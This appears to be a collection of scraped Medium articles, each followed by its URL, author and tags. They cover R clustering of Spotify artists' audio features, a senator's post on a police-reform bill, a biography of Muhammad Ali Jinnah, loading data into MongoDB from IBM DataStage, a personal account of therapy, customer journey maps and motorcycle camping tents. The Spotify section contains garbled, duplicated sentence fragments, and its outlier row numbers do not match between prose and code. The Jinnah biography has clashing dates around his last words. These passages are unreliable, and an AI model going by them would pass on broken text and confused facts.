radar_chart_gryffin <- radar_chart("Gryffin")
radar_chart_kygo <- radar_chart("Kygo")
radar_chart_martin_garrix <- radar_chart("Martin Garrix")
Radar charts showing the variability of characteristics across the artists, Image by Author
From the visualisation, we can infer the patterns for each artist:
All the artists have similar tempo except for Martin Garrix which has the highest tempo among all of them
except for which has the among all of them Both Gryffin and The Chainsmokers have similar danceability and energy but Gryffin has higher loudness than The Chainsmokers’
have but has than The Chainsmokers’ Lauv, Kygo, and Martin Garrix have similar danceability but Kygo has higher energy than both Lauv and Martin Garrix respectively, where both of them have similar energy
but than both Lauv and Martin Garrix respectively, where Both Lauv and The Chainsmokers have similar loudness
and have Lauv, Gryffin, and Kygo have similar acousticness
and have Both Lauv and Kygo have a similar valence , both The Chainsmokers and Marin Garrix have a similar valence , and Gryffin’s valence lies between both pairs’
and have a , both and have a , and Surprisingly, Martin Garrix , who’s an EDM DJ, has the lowest loudness among the rest of the artists
, who’s an EDM DJ, has the among the rest of the artists Out of all the artists, Kygo has the highest for both loudness and energy
Correlation within the Audio Features
After getting a glimpse of the audio features among the artists, we would like to understand the correlation between the popularity of the songs and the audio features of the songs by using a correlation matrix.
corr_plot_song_features_data <- top_5_artists_df %>%
select(popularity, acousticness, danceability, energy, instrumentalness, liveness, loudness, speechiness, tempo, valence) corrplot(cor(corr_plot_song_features_data),
method = "color",
type = "upper",
order = "hclust")
Correlation between popularity and audio features of the artists’ songs, Image by Author
From the correlation matrix, we can identify that:
There is a high positive correlation between energy and loudness
between and There is a positive correlation between danceability and valence
between and There is a strong negative correlation between energy and acousticness
between and There is a high negative correlation between loudness and acousticness
between and Surprisingly, there is a negative correlation between danceability and tempo and a weak positive correlation between energy and tempo
Characteristics of the Top 5 Spotify Artists’ Songs based on Popularity
In this sub-section, we would like to understand which audio features made the songs of the top 5 artists popular.
Pattern frequency plots of the artists’ songs based on popularity, Image by Author
From the above plots, we can observe that most of the songs by the 5 artists are:
Low in acousticness
Highly danceable
Highly energetic
Loud
These seem to be characteristics of songs that I am interested in listening to.
Variations of Acousticness, Danceability, Energy, and Loudness between the Top 5 Spotify Artists
In this sub-section, we would like to understand the variations of the above features between the artists.
Artist by Acousticness
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, acousticness, median, fill = artist), y = acousticness)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Acousticness",
title = "Variation of Acousticness between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
From the boxplot diagram, Lauv’s songs have the highest acoustics while both Martin Garrix’s and Gryffin’s songs have a similar interquartile range of acoustics. It is expected that Lauv’s songs have high acoustics among the rest of the artists’ as most of his songs are played without the use of electronic amplification equipment. Whereas, the rest of the artists’ songs do use electronic amplification equipment as they are EDM songs but Kygo’s songs also include acoustic version (such as Kids in Love (feat. The Night Game) — Acoustic Version) of his original EDM songs, hence, Kygo’s songs have higher acoustic than Martin Garrix’s, The Chainsmokers’, and Gryffin’s.
Artist by Danceability
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, danceability, median, fill = artist), y = danceability)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Danceability",
title = "Variation of Danceability between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
Surprisingly, Lauv’s songs have the highest danceability as the rest of the artists’ songs are mainly EDM songs. Both the songs from The Chainsmokers and Gryffin have a similar median of danceability and similar first quantile (25th percentile) of danceability, which is similar to the median of danceability of the songs from Martin Garrix.
Artist by Energy
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, energy, median, fill = artist), y = energy)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Energy",
title = "Variation of Energy between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
Martin Garrix’s songs have the highest energy as compared to the rest of the artists. Furthermore, the songs from Kygo, The Chainsmokers, Martin Garrix, and Gryffin have higher energy than Lauv. This is expected as EDM songs have high energy.
Artist by Loudness
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, loudness, median, fill = artist), y = loudness)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Loudness",
title = "Variation of Loudness between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
Gryffin’s songs have the highest loudness as compared to the rest of the artists. Similar to the analysis of energy, the songs from Kygo, The Chainsmokers, Martin Garrix, and Gryffin are louder than Lauv. This is expected as well because EDM songs are loud.
Artist by Tempo
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, tempo, median, fill = artist), y = tempo)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Tempo",
title = "Variation of Tempo between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
The tempo represents the speed of a song and the mood it evokes. The higher the tempo of a song, the more inspiring and joyful it tends to be. Else, it indicates sadness of a song. Both songs from The Chainsmokers and Gryffin have a similar third quantile (75th percentile) of tempo. Martin Garrix’s songs have the lowest tempo.
Artist by Valence
top_5_artists_df %>%
ggplot(aes(x = reorder(artist, valence, median, fill = artist), y = valence)) +
geom_boxplot(stat = "boxplot", aes(fill = artist), outlier.size = 2) +
stat_summary(fun = mean, geom="point", shape=20, size=3, color="red", fill="red") +
labs(x = "Artist", y = "Valence",
title = "Variation of Valence between the Top 5 Artists") +
ggthemes::theme_economist() +
theme(legend.position="none")
Among the rest of the artists’, Lauv’s songs have the highest valence while Martin Garrix’s songs have the lowest valence. As compared to the songs from the rest of the artists, this means that Lauv’s songs bring in more positive vibes while Martin Garrix’s songs bring in more negative vibes. Both the songs from Lauv and The Chainsmokers have a similar median of valence. Both the songs from The Chainsmokers and Gryffin have similar third quantile of valence.
Model Building and Interpretation of the Results
K-Means Clustering
Clustering is conducted in this exercise to find out which songs of the artists are similar and discover new songs that I might like.
Firstly, we need to conduct the Principal Component Analysis (PCA) to detect outliers before conducting clustering.
PCA
top_5_artists_df_scale <- scale(top_5_artists_df_num_only) pca_top_5_artists <- PCA(top_5_artists_df_scale,
scale.unit = FALSE,
graph = F,
ncp = 10) plot.PCA(pca_top_5_artists,
choix = c("ind"),
habillage = 1,
select = "contrib5",
invisible = "quali")
Outliers detected from the PCA graph, Image by Author
The outliers derived from the PCA are 9th, 20th, 139th, 193th, and 222nd rows of the dataset.
plot.PCA(pca_top_5_artists, choix = c("var"))
PCA graph of the audio features, Image by Author
pca_dimdesc <- dimdesc(pca_top_5_artists)
pca_dimdesc$Dim.1
Correlation between variables within dimension Principal Component 1, Image by Author
Based on the correlation between variables within Dimension 1 (25.99%), We found 5 variables considered as most contributing variables, i.e: energy, loudness, liveness, valence, and danceability.
Clustering Process
Before initiating the process of clustering, it is necessary to remove the outliers. Then, in order to get a new PCA, there is a need to create a new data scaled.
top_5_artists_without_outliers <- top_5_artists_df_scale[-c(9, 20, 139, 192, 222),]
top_5_artists_df_scale1 <- scale(top_5_artists_without_outliers)
After completing the above task, we will have to pick the optimal number of clusters (K) by using the Elbow Method. The following is the function of building the elbow method chart as well as the output of the elbow method chart of the top_5_artists_df_scale1 .
wss <- function(data, maxCluster = 10) {
ssw <- (nrow(data) - 1) * sum(apply(data, 2, var))
ssw <- vector()
for (i in 2:maxCluster) {
ssw[i] <- sum(kmeans(data, centers = i)$withinss)
}
plot(1:maxCluster, ssw, type = "o", xlab = "Number of Clusters", ylab = "Within Groups' Sum of Squares", pch=19)
} wss(top_5_artists_df_scale1)
From the chart, we can infer that the optimal K is 8 since within groups’ sum of squares is not changing significantly after K = 8.
From picking the optimal number of clusters, i.e. 8, we can start on building the clusters.
RNGkind(sample.kind = "Rounding") #to get the set.seed numbers not changed everytime executed
set.seed(33) # can be any number
top_5_artists_kmeans <- kmeans(top_5_artists_df_scale1, centers = 8)
fviz_cluster(top_5_artists_kmeans, data=top_5_artists_df_scale1)
Cluster plot of the Top 5 Spotify Artists, Image by Author
After building the clusters, now it’s time to perform profiling of the clusters.
top_5_artists_without_outliers <- as_tibble(top_5_artists_without_outliers) # convert from matrix to tibble format
top_5_artists_without_outliers$cluster <- top_5_artists_kmeans$cluster top_5_artists_without_outliers %>%
group_by(cluster) %>%
summarise_all(mean)
Table of profiling of the clusters, Image by Author
From the table, the characteristic summary of the songs of the Top 5 Spotify Artists in the same cluster are as follows:
Cluster 1: Highest energy, highest liveness, loudest, and least popular Cluster 2: Highest instrumentalness, lowest liveness, least loud, lowest speechiness, and lowest valence Cluster 3: Highest speechiness, most popular, and lowest instrumentalness Cluster 4: High energy and low speechiness Cluster 5: Highest danceability and highest valence Cluster 6: Highest acousticness, lowest danceability, and lowest energy Cluster 7: Highest tempo Cluster 8: Lowest tempo, and most popular
Song Recommendation
After finishing the clustering and profiling of the songs, a song recommendation system is built to enable listeners to get effective suggestions regarding the next best songs according to their taste.
In this exercise, I would like to check which cluster does my favourite song, Lauv’s Mean It, belong to.
Lauv & LANY — Mean It (Source: YouTube)
top_5_artists_df_without_outliers <- top_5_artists_df[-c(9, 20, 139, 192, 222),] top_5_artists_df_without_outliers$cluster <- top_5_artists_kmeans$cluster top_5_artists_df_without_outliers %>%
filter(name == "Mean It", artist == "Lauv")
Table of the audio features of Lauv’s Mean It, Image by Author
From the output table, my favourite song is in cluster 8 (Lowest tempo, and most popular).
Now, let’s try a new artist, let’s say… Gryffin. Hence, we can check the best songs from Gryffin that I should try listening to based on my taste given that my favourite song is Mean It by Lauv.
top_5_artists_df_without_outliers %>%
filter(cluster == 8, artist == "Gryffin")
Recommended Gryffin’s songs based on the music taste of Lauv’s Mean It, Image by Author
These are the songs from Gryffin that I should try listening to based on the music taste of my favourite song, Lauv’s Mean It.
Further Exploration: Lyrics Analysis
Further analysis is made to understand what are the common words popping up in the Top 5 Spotify Artists’ songs’ lyrics through the generation of word cloud as well as the conducting of sentiment analysis based on emotions of all the lyrics from the Top 5 Spotify Artists. Special thanks to Ekene A. for providing clear and concise instructions on how to scrape lyrics from Genius.com using Python.
In this exercise, the lyrics of each artist’s top 3 songs are scraped.
Before conducting the generation of word cloud and emotion sentiment analysis, it is necessary to process text cleaning in order to remove the punctuations, numbers, and irrelevant words.
lyrics <- readLines("lyrics_5.txt")
lyrics <- paste(lyrics, collapse = " ")
lyrics <- tolower(lyrics)
stop_words <- Top200Words # collecting 200 stop words
lyrics <- removeWords(lyrics, stop_words)
lyrics <- removeWords(lyrics, stopwords("en"))
lyrics <- removeWords(lyrics, c("endoftext", "re", "ll", "ain", "ahh", "ooh", "yeah", "oh", "got", "cause"))
lyrics <- gsub(pattern = "\\W", replacement = " ",lyrics) # remove non-word characters, i.e. punctuations
lyrics <- gsub(pattern = "\\d", replacement = " ",lyrics) # remove numbers
lyrics <- gsub(pattern = "\\b[a-z]\\b{1}", replacement = " ",lyrics) # empty string at either edge of a word to match exactly one time
lyrics <- stripWhitespace(lyrics)
Word Cloud
In this exercise, the word cloud is generated based on the top 200 common words among the top 3 songs of each artist.
frequently_appeared_words <- freq_terms(lyrics, top = 200)
frequently_appeared_words %>%
wordcloud2(backgroundColor = "black",
color = "random-light")
Word cloud of the top 200 frequently appeared words in the lyrics of the top 3 songs of each artist, Image by Author
In a word cloud, larger words meaning more appearances in the lyrics.
Out of the 200 frequently appeared words in the lyrics of the top 3 songs of each artist, Love is the most frequently appeared word. This shows that love is definitely a common theme that revolves around my Top 5 Spotify Artists. Other words that follow the theme of Love include Paris, Heart, and Baby. Due to this, it seems that I’m a person who prefers songs that bring romance vibes.
Emotion Sentiment Analysis
lyrics_tibble <- as_tibble(lyrics) # convert from value to tibble
sentiment <- get_nrc_sentiment(lyrics_tibble$value) # get sentiment values of the lyrics
emotion_sentiment <- sentiment %>%
select(-positive, -negative) # remove non-emotion variables new_emotion_sentiment <- data.table(Emotions = names(emotion_sentiment), transpose(emotion_sentiment)) # transpose the table # Barplot
new_emotion_sentiment %>% ggplot(aes(x=Emotions, y=V1, fill=Emotions)) +
geom_bar(stat="identity", color = rainbow(8)) +
labs (x = "Emotions",
y = "Values of the Sentiments",
title ="Emotion Sentiments of the Top 5 Artists' Songs",
subtitle = "Based on the occurences of the top 200 words of the lyrics of their top 3 songs respectively") +
ggthemes::theme_economist() +
theme(legend.position="none")
From the visualisation, we can observe that the lyrics of all the top 3 songs of each artist are associated with negative emotion of sadness. Furthermore, the lyrics associated with the negative emotion of fear and the positive emotion of joy are the same. Lastly, the lyrics associated with the negative emotion of disgust is less than 15.
This could mean that I would prefer songs that provide low valence and low tempo since the majority of the lyrics from the top 3 songs of each artist are associated with sadness.
Summary, Limitations, and Future Work
Other than briefly mentioned of data scraping using Python, this exercise has demonstrated data cleaning & transformation, data analysis, data visualisation, and data modelling using R.
It has allowed us to understand what is the relationship between the audio features of the songs as well as what are the common audio features of my Top 5 Spotify Artists of 2020.
Furthermore, clustering and profiling were done to group the songs based on their similarities to understand their characteristics which, in turn, constructing a song recommendation to find out what other songs that can give them a try to listen based on the taste of my favourite song.
Additional analysis was done to find out the insights of the lyrics of the songs from the artists. However, there is a limitation to scrape the lyrics. One can input any amount of songs to scrape the lyrics from the artists but the output of data scrape would be empty or not entirely scraped. Hence, due to making sure that all lyrics were scraped, this exercise has scraped the lyrics from the top 3 songs of each of the Top 5 Spotify Artists.
This exercise has also illustrated the plotting of the word cloud, identifying the theme occurred in the word cloud, as well as implementing an emotion classification with NRC sentiment to interpret emotions found in the lyrics.
In the case when such similar exercise exists in the future, I will explore more on Multiple Linear Regression model or Logistic Regression model to predict the popularity of the songs based on their audio features.
All in all, this exercise is fulfilling and allows me to understand my music taste more! | https://towardsdatascience.com/do-my-top-5-spotify-artists-of-2020-have-something-in-common-9e21c7f799d6 | ['Jim Meng Kok'] | 2020-12-19 08:22:48.902000+00:00 | ['Data Analysis', 'Music', 'Spotify', 'R', 'Data Science'] |
I just introduced the Justice in Policing Act with my friend Cory Booker | I just announced a bill with my friend Cory Booker and the Congressional Black Caucus to hold police accountable for misconduct.
It’s called the Justice in Policing Act and it’s a step we can take on the federal level to hold police accountable as part of a broader solution.
We must also re-imagine public safety at the state and local level. For cities that often spending more than one third of their budget on policing, we must take a hard look at whether some of those resources should be reallocated towards jobs, education, and health care.
My Justice in Policing Act will:
Set a national standard for use of force Expand the ability to conduct “pattern and practice” investigations into police departments with a history of excessive force Expand independent investigations into police misconduct Establish a national police misconduct registry and require states to report use of force incidents Ban “no knock” warrants in drug cases
We must fight for police accountability and we can take a step towards that by passing the Justice in Policing Act at the federal level, but I need your help to get it done:
Add your name today to become one of the first Citizen Co-Sponsors for my Justice in Policing Act. Together we can fight for police accountability and re-imagine what public safety looks like.
This is the first-ever comprehensive police accountability and reform legislation on the federal level to address police misconduct.
I’m proud to have worked on it with Cory Booker and the Congressional Black Caucus. This bill would take an important step towards achieving justice for Ahmaud, Breonna, George, and for those who came before and never got their justice.
Thank you for supporting this important piece of legislation,
Kamala | https://kamalaharris.medium.com/i-just-introduced-the-justice-in-policing-act-with-my-friend-cory-booker-35aa4ff6d77d | ['Kamala Harris'] | 2020-06-08 18:30:01.053000+00:00 | ['BlackLivesMatter', 'George Floyd', 'Police', 'Kamala Harris'] |
The Life Of The Father Of Nation Mr. Sir Muhammad Ali Jinnah | The eldest of seven siblings, “Muhammad Ali Jinnah” and his well-known younger sister “Fatima Jinnah” were children of Jinnahbhai Poonja, a wealthy merchant, and his wife Mithibai, (who belonged to the Muslim-Khoja cast) Born on 25th December 1876 in Karachi and completed his schoolings in Sindh, at his birthplace. After completing his further studies, In the era of 1893 he joined Lincoln’s Inn which he dreamt of, and became the “Youngest Indian Denominated to the Bar.” Just after three years, stepping into a legal profession with his endemic strategies, and determination, Young Jinnah became “Bombay’s Most Auspicious and Successful Lawyer” of that time and within a few years, he was firmly established and entered into politics in 1905 from the Indian National Congress. Mr. Jinnah had a different vision from all, we all know intimately about his manly and brave personality that he never cracked a joke in his entire life merely for the sake of raising a laugh. He was very self-control, passionate and one thing he valued most was time punctuality, and never wasting a moment was his second nature.
Once a very close friend of Jinnah requested, with his son (who had just returned from England as a full-fledged barrister) that “Jinnah, please take my son in your chamber and make him a good lawyer.” “Of course yes!” Jinnah Said! What a superior compliment could anyone get!
An American historian, Indologist, and author on political history wrote a biography on Muhammad Ali Jinnah named “Jinnah of Pakistan.” He described his subject or summary thus: “Few individuals significantly alter the course of history, Fewer still modify the map of the world, Hardly can anyone be credited with creating a nation-state and Muhammad Ali Jinnah did all three.”
In the loving memory and thanksgiving to beloved Father of the Nation Quaid E Azam Muhammad Ali Jinnah Essay Writing Services In Karachi has written this informational article and have covered further topics about the Life of Quaid e Azam Muhammad Ali Jinnah and his sacrifices which he gave on every step, they have provided bulk informational and technical points on An Essay on Muhammad Ali Jinnah and his sayings. Appreciable writing services that can be helpful for students of every standard and Hence, Quaid e Azam was so fond of students, He Loves them immensely. He always encouraged and exhorted students to study hard and hard. He also mentioned that “Without education, Life is full of darkness.” In July 1947 in Ziarat, Quetta Quaid e Azam was seriously ill and said his last words “Until 1948, I was worried whether Pakistan would survive but now I have no worries now. Men may come and man may go, but Pakistan is firmly established and will go on with God’s grace forever.”
“25th December Jinnah’s Birthday officially known as “Quaid e Azam day”, Pakistan and the people across the world who have faith and love with this country celebrate this day. He died on 11 September 1948 in Karachi. “York University”, A public research university in Toronto Ontario, has made a remarkable statue named “Statue of Jinnah” which shows that a single person can own a nation-state if one has full faith and belief in his words and acts. | https://medium.com/@syedzulkifl456/the-life-of-the-father-of-nation-mr-sir-muhammad-ali-jinnah-60465a3dfbb | ['Syed Zulkifl'] | 2020-12-23 08:24:26.356000+00:00 | ['Writing Life', 'Pakistan', 'Pakistan Politics', 'Writing', 'Jinnah'] |
Connecting MongoDB using IBM DataStage | Introduction
MongoDB is an open-source document- oriented schema-less database system. It does not organize the data using rules of a classical relational data model. Unlike other relational databases where data is stored in columns and rows, MongoDB is built on the architecture of collections and documents. One collection holds different documents and functions. Data is stored in the form of JSON style documents. MongoDB supports dynamic queries on documents using a document based query language like SQL.
This blog post explains how MongoDB can be integrated with IBM DataStage with an illustration.
Why MongoDB?
For the past two decades we have been using Relational Database as data store as they were the only option that was available. But with the introduction of NoSQL, we have more options based on the requirement. Mongo DB is predominantly used in insurance and travel industry.
We can extract any semi-structured data and load it to MongoDB through any of the integration tools. Also Extract from MongoDB is easier and faster when compared to relational databases.
MongoDB integration with IBM DataStage
Since we don’t have a specific external stage in IBM DataStage tool to integrate MongoDB, we are going with Java Integration stage to load or extract data from MongoDB.
Since MongoDB is a schema free database, we can use structured or semi-structured data extracted through DataStage and load it to MongoDB.
Prerequisites
Make sure you have java installed on your machine. Install Eclipse tool. Java requires below MongoDB jar to be imported inside the package to use MongoDB functions Also, Java requires below jar file to be imported inside the package to extract or load data from DataStage
Illustration of a DataStage job
The XML contains one person information and one or more person name objects linked with the person.
Figure 1: Person XML linked to Person Name & Person Data
2. In this job, link lnk_PersonInfo_in contains person information
3. And, link lnk_PersonNameInfo_in contains person name information
4. In this Job, directly we can use Java Integration Stage to insert data into MongoDB for the Person information link
5. Develop Java code to load person data into MongoDB.
The Result in MongoDB after inserting person information:
6. Create another job to load PersonName information into MongoDB though Java Integration Stage
Figure 2: Loading Person Name info into MongoDB
7. Below is the Java code to update PersonName information for the respective _id’s
8. To Integrate java code in DataStage
Export the java code as a jar file (LoadParty.jar)
Place the LoadParty.jar and mongo-java-driver-2.11.3.jar in the DataStage server at any location.
9. Configure the Jar files in Java Transformation stage
Java Transformation stage used to load Person Data information
Java Transformation stage used to load Person Name Data information
10. Final result in MongoDB:
Conclusion
Currently there is no external stage for MongoDB in DataStage. Extract/Load from MongoDB in DataStage would become simpler if there is any external stage introduced in future.
About the Author
Muthulakshmi is a Senior Technical Consultant at Mastech InfoTrellis and has good knowledge on IBM DataStage. She has over 3.5 years of experience in implementing EDI solutions. | https://medium.com/@abhikhya-ashi/connecting-mongodb-using-ibm-datastage-fe5227c8a513 | ['Abhikhya Ashi'] | 2020-12-18 04:30:54.823000+00:00 | ['NoSQL', 'IBM', 'Mongodb'] |
My Experience with Therapy (1) | I recently decided to seek professional help after so many years of struggling with finding a balance in life. I had quite a number of experiences from my childhood that were tormenting me as an adult and I just did not know how to move past them. So many questions I wanted answers to, with little or no explanation for them. I was trying so hard to be happy, stay sane and be productive at work.
Why did I need Therapy?
I think therapy is one of those things that can serve alot of purposes. My reasons for exploring the option and going for therapy may differ from every other person’s reason.
The first reason I knew I needed therapy was because of my experiences growing up. Before I turned 10, I was completely oblivious of what a highly dysfunctional family meant. As far as I was concerned, I was a happy young girl born into a happy family and I was truly loved by my parents and siblings. As I grew older, the scales fell from my eyes and I was forced into the realities of my family’s imperfections. My parents were not in a happy marriage and I was soon forced to experience two adults that I truly loved and adored tear each other apart and thirst for vengeance.It was all so confusing and I remember going to school so many times and I would cry because I was starting to blame myself even though I did not understand why. I would pray and beg God so many times to please help iron things out between them so that we would be one big happy family again, I truly believed a miracle would happen over night but it did not. A few weeks after I finished high school, my parents finally decided to pursue a divorce legally. It was tough having to take sides unconsciously with one of your parents. It hurts more now that I am an adult because i fully understand what happens between two people in a relationship is very complicated and no matter how many stories you hear from both parties you really should not take sides as things are not always as they seem. This experience made me look at life and relationships in a very weird way. I was either expecting too much from people with the hope things would go well as I was always too scared of rejection and things ending terribly or I entered with no hope or excitement things would go well. I realised I had not forgiven my mother and father as I blamed them alot for not trying their best to resolve their isssues for the sake of their children. So many “what ifs” and unanswered questions. I stopped believing in the institution of marriage.
Understanding and Accepting the concept of Death was my second reason for exploring Therapy. I lost my father unexpectedly two years after the divorce from my mother. Unfortunately we did not have the best relationship as at the time of his death. It was my first time experiencing death that close up and It broke me. I tried to be strong but I never really addressed my grief when he died. I had not forgiven him or myself for not trying to work on our relationship and I was angry that he would just leave the way he did. Again alot of unanswered questions.
Work Life Balance: I had been working for two years and I had thrown myself into work with all I had. As an overachiever and a hard worker, the least I could possibly do was to apply myself the best I could to ensure I was constantly adding value and being productive. I think to a large extent I started to put so much pressure on myself. I was failing to prioritise the other important things in my life. It became so bad that I was feeling overpowered by stress and anytime things did not go well at work it had a huge toll on me and would cause me sleepless nights. I knew I did not want to continue being a slave to my work and I wanted to have a healthy social life and still be productive at work. I realized my career was not a short run, but a life long race and I needed to have mechanisms in place to cope and survive the different curve balls life will throw me as things progress.
Friendships and Relationships: How do you accept or deal with disappointment? I have always found it so hard to accept and move on when people hurt me. I try to give all i can in my relationships and friendships with people. There are literally no lengths I could not go for the people I cared for and loved. I started to learn that life is not always black and white and a lot of times the people that we love will hurt us- either intentionally or unintentionally. I found it very hard to accept this concept- Forgiving was easy but forgetting what they had done was the hard part. I became very defensive when going into friendships and would be so eager to cut people off just to protect myself. I found it really hard to be vulnerable and to trust people. This was not healthy as I was starting to live quite a lonesome life not because there was no one around to be there for me, but because I was too scared to let people in with the risk they would hurt me. | https://medium.com/@miss-tee/my-experience-with-therapy-1-3b131f727946 | [] | 2020-12-26 22:22:59.377000+00:00 | ['Therapy', 'Divorce', 'Family', 'Burnout', 'Mental Health'] |
Creating a Customer Journey Map | Why This Innovative Process Works & How to Make it Happen
When you think about the process a customer takes before they buy a product or service from your business, on the surface, it seems rather simple. You offer a product or a service to potential customers and they purchase it, right?
Unfortunately, it’s rarely as simplistic or straightforward, no matter how much we’d probably like it to be. Instead, the customer journey is complex, intricate, and filled with twists and turns. All it takes is a closer look to fully understand just how complicated a customer journey can be.
In our current age of digital technology and innovative procedures — also known as the Fourth Industrial Revolution — the customer experience itself is being totally renovated and redefined. Now, customer experience is more important than ever — and it’s happening in more than one place.
With 10+ platforms and channels for communication, it can be more complicated than ever to connect with customers and guide their customer journey.
That’s where a customer journey map comes into play.
With the help of a thorough, comprehensive, and efficient customer journey map, organizations can transform the way they interact with customers, gain insight into their customers’ pain points, and better personalize their experiences — all with the intention of better interaction and more sales conversions.
But what exactly is a customer journey map, why do they matter, and most importantly, how can you begin the process of building yours?
Continue reading to learn more about how to map out your ideal customer journey all while converting more sales and revitalizing the way you interact with your ideal market.
Customer Journey Maps: What Are They & Why Do They Matter?
Though there’s no one single definition for a customer journey map, at its core, it’s easiest to think about this as a visual representation tool that helps to map out every interaction a customer might have with a brand along the journey they take as a customer.
In other words, a customer journey map is a visual map of the process each customer goes through to accomplish a goal or make a purchase. This journey is used to portray the many, complex feelings or touchpoints that a customer might have toward a product or service a company offers.
When done correctly, a customer journey map can offer enormous benefits to any organization, no matter their industry, their size, or their goals. Customer journey mapping can help to facilitate a common understanding amongst the entire company, explore opportunities within a target market, and even identify the gaps that exist in an organization’s current customer experience journey.
Journey mapping can foster other benefits, too. For example, a proper customer journey map can act as a benchmark by helping to set the standard for the optimal customer experience and giving an organization a hard and fast example of what customer experience should be versus what customers receive in reality.
Finally, and most obviously, a well-constructed customer journey map can help create a logical order for a customer’s buying journey as well as offer a more substantial understanding of how a customer feels and thinks about an organization as they move through the funnel.
How to Create the Ultimate Customer Journey Map for Your Business
Creating a customer journey map (or multiple maps, which might be necessary for your business), is a unique process for each organization that tackles this challenge. Creating a customer journey map is an involved process that’s going to take time, research, and a great team. Further, before you start, it’s crucial to understand the personalized benefits and goals you’re hoping to receive and accomplish.
Before you begin, it’s crucial to do a few things. Nailing down the persona of your buyer is an important first step in order to best understand the customers you’re marketing to. Next, you’ll want to understand their goals and what motivates them as they go through their own personal customer journey.
Take some time to understand your customers and their goals, and then map out all of your buyer touchpoints — AKA, anytime the customer will come into contact with your brand before they purchase, during their purchase, and after their purchase, too. This could include promotions, ads on social media, a loyalty program, forums, packaging, word of mouth, emails, in the news, etc. There is often a myriad of touchpoints that organizations need to consider.
Next, it’s important to then identify your customers’ pain points. Where are they struggling with your brand? Why are people abandoning their purchases? Where are their main areas of frustration? This step will help you to minimize and destroy roadblocks.
Now, it’s time to take what you’ve learned and improve it. Update your customer journey, make tangible changes, and bring your customer journey map to life.
At the end of the day, there’s no one, single way to create the perfect customer journey map — because every business is different, and every target market is different, the resulting map will be different, too.
Whether you’d like to manually invest your time and effort into multiple customer journeys for all the different buyer personas you come across or you’d like to invest in customer mapping software, creating this type of strategy can make an enormous difference in your marketing efforts, your sale conversions, and your communication with your ideal clientele. | https://medium.com/@carlosrousseau/creating-a-customer-journey-map-e22aa0810cf6 | ['Carlos E Rousseau'] | 2020-12-26 15:31:55.210000+00:00 | ['Customer Experience', 'Customer Success', 'Customer Journey Map', 'User Experience Design'] |
Motorcycle adventure guide part II: The big three of camping | This is the second part of a series of articles directed at aspiring riders who want to take their bike on an adventure in 2021. This part focuses on the gear you need to take in order to camp off your bike, specifically the tent, sleeping mat and sleeping bag.
I ended the last part with a warning that too much luggage capacity on a bike can make you take too much stuff. So even when your adventure is on the back of a large capacity motorcycle it’s important to keep your pack as light as possible and this guide will contain some tips to help you do that. I’m not a minimalist so I agree that KTM 1290 adventure riders can afford to carry a few extra kg’s without it being noticeable and I will not advise anyone to saw a toothbrush in half just to save a few grammes.
If you really want a camp chair or you like to take a bulky camera with you then I would even encourage you to take them because these parts are crucial assets for your type of adventure. And that’s all that matters. I should emphasize that this article is intended for those of you interested in travelling fast and light. If your style is to take a much gear as you can and enjoy playing with it than that is fine too. I’ve seen people with a Goldwing towing an actual trailer for all their gear. But let’s say that’s a different kind of hobby…
Tent
The fastest way to control the size of your pack is to look at the big three: Tent, sleeping mat and sleeping bag. As for tents: The size of your bike is more or less going to decide the maximum size of your tent. Guys (and gals!) on enduro bikes have to look at the smallest tents available while the GS owners amongst you will have enough space to take a cotton circus tent… But just like in part 1 I’m going to offer some resistance to those who might want to buy a big tent because even big bikes handle better with less weight. The desire for buying a bigger tent originates from the fantasies of all of the things travellers imagine they will be doing inside of the tent. People imagine themselves reading books and watching movies in it, for example. Or even editing videos for their social media on their macbooks (damn hipsters 😉) while they make a fancy coffee using their ‘Handpresso’. I can tell you in reality this is very rarely the case. Even when taking a LOT of crap with you it will still be a shitty experience. In reality travellers just sit in a bar or a cafe when they need some comfort. A simple chair and a table somewhere will offer more comfort than anything you can take with you. The coffee is going to be much better too and usually you will have the opportunity to charge your devices. All it takes is to stop and actually engage with the region you are visiting more instead of retreating alone in a canvas fortress. And those situations in which you have to camp in the wilderness people are inclined to just eat, sleep and leave the social media for later. I find that if I am camping rough I typically leave the site as soon as possible in the morning and just ride to the nearest place where I can have a sit and a brew. Even when in an area with no bars or cafe’s you can always find a picnic table, some logs or another cosy place to hang out. This it the truth: Your tent is just for eating, sleeping, managing gear and some privacy. It’s not a house and surely not ideal for entertainment purposes. (Although a times inside a tent can be enjoyable.) You don’t need a big tent unless your physical condition demands that you are able to stand up while changing for some reason.
The advice is simple: Solo campers require a tent with space for two mats. One place for you and one place to lay down your gear, particularly your biking jacket and trousers. In some cases such a tent is actually a ‘three man tent’ because tent manufacturers assume that all of their customers are skeletal wisps of human beings. Actual motorcycle adventurers with the thighs to kickstart a bike require a little more space.
So find a tent with space for two mats and find the most compact one within your budget. Small packed volume is more important to the motorcycle traveller then low weight as the bike carries the weight. In this range of tents the difference between a lighter and a heavier tent is about 800 grammes max., which won't make a difference. I’d gladly trade some weight for a more robust construction as long as the pack size remains small.
